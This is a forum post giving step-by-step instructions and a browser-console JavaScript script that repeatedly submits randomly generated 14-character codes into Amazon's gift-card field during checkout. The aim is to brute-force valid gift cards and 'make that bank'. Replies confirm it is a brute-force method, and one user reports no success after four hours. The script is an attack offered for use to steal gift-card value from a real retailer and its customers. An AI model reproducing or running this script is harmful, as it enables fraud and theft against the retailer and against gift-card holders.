Amazon Giftcard Checker Method

Bannyblanco

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1. Create an Amazon account or Use your current one
2. Add any item to your cart
3. Checkout til the part you have to put your payment info in
4. Click Enter a gift card or promotional code
5. Right click anywhere and click Inspect
6. Click on console and type this code in

alert("Online Amazon Giftcard Checker");
alert("Hope This Helps Out!");
var speed = prompt("Type 1,000 if your PC is fast, 500 for a slow pc")
function makeid() {
var text = "";
var possible = "6SJXEoQ0Htx4WhvKgu2b3fIrle8wBZs1MRpT9PGyDCLVUmYO5AdiankFc7qjzN"; //you can edit this to your own generation code
for (var i = 0; i < 14; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));

return text;
}


function main() {
document.getElementById("gcpromoinput").value = makeid();
document.getElementById("button-add-gcpromo").click();
}

setInterval(function() {
main();
}, speed);

7. After you pasted the code in press enter and keep clicking okay til you have to type something.
8. Type 1000 if your computer is fast or type 500 if your computer is slow. If you put nothing it will keep making codes but the only way to stop it is to kill the browser.
9. Wait til you get a valid code and boom make that bank.
 

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Does your program use the principle of Brut Force? Approximately how long does it take to find a valid code? Because the program has been running for 4 hours and I still haven't found anything :(
 

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Does your program use the principle of Brut Force? Approximately how long does it take to find a valid code? Because the program has been running for 4 hours and I still haven't found anything :(
Yes, it's brute force method
 
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